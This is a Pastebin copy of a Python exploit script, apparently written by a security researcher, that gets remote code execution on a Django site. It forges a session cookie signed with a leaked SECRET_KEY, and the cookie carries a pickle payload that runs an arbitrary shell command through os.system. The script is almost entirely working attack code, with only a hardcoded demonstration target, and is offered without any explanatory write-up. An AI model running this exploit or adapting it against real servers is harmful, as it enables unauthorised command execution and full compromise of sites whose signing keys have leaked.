Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. # coding: UTF-8
  2. # Written by Orange@chroot.org
  3. #
  4.  
  5. import sys
  6. import hmac
  7. import time
  8. import hashlib
  9. import base64
  10.  
  11. from random import randint
  12. import requests
  13.  
  14. URL        = "http://vuln-django.orange.tw/"
  15. SECRET_KEY = "1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk"
  16. SALT       = "django.contrib.sessions.backends.signed_cookies"
  17.  
  18. def salted_hmac(key_salt, value, secret=None):
  19.     key = hashlib.sha1((key_salt + secret).encode('utf-8')).digest()
  20.     return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)
  21.  
  22. def b64_encode(s):
  23.     return base64.urlsafe_b64encode(s).strip(b'=')
  24. def b64_encode(s):
  25.     return base64.urlsafe_b64encode(s).strip(b'=')
  26.  
  27. def base64_hmac(salt, value, key):
  28.     return b64_encode(salted_hmac(salt, value, key).digest())
  29.  
  30. def force_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
  31.     if isinstance(s, bytes):
  32.         if encoding == 'utf-8':
  33.             return s
  34.         else:
  35.             return s.decode('utf-8', errors).encode(encoding, errors)
  36.     if strings_only and (s is None or isinstance(s, int)):
  37.         return s
  38.     if isinstance(s, Promise):
  39.         return six.text_type(s).encode(encoding, errors)
  40.     if not isinstance(s, six.string_types):
  41.         try:
  42.             if six.PY3:
  43.                 return six.text_type(s).encode(encoding)
  44.             else:
  45.                 return bytes(s)
  46.         except UnicodeEncodeError:
  47.             if isinstance(s, Exception):
  48.                 return b' '.join([force_bytes(arg, encoding, strings_only,
  49.                         errors) for arg in s])
  50.             return six.text_type(s).encode(encoding, errors)
  51.     else:
  52.         return s.encode(encoding, errors)
  53. force_str = force_bytes
  54.  
  55.  
  56. class Exploit:
  57.     def __init__(self, key, salt):
  58.         self.key  = key
  59.         self.salt = salt
  60.  
  61.     def signature(self, value):
  62.         signature = base64_hmac(self.salt + 'signer', value, self.key)
  63.         return force_str(signature)
  64.  
  65.  
  66. if __name__ == '__main__':
  67.     if len( sys.argv ) < 2:
  68.         print 'Usage: python rce.py command'
  69.         exit()
  70.     cmd     = sys.argv[1]
  71.     payload = b"cos\nsystem\n(S'%s'\ntR." % cmd
  72.     payload = '%s:%d' % (b64_encode( payload ), time.time() )
  73.  
  74.     sig = Exploit(SECRET_KEY, SALT).signature( payload )
  75.    
  76.     headers = { 'Cookie': 'sessionid="%s:%s";' % (payload, sig) }
  77.     url     = '%s?%d' % ( URL, randint(0, 65535) )
  78.     requests.get( url, headers=headers )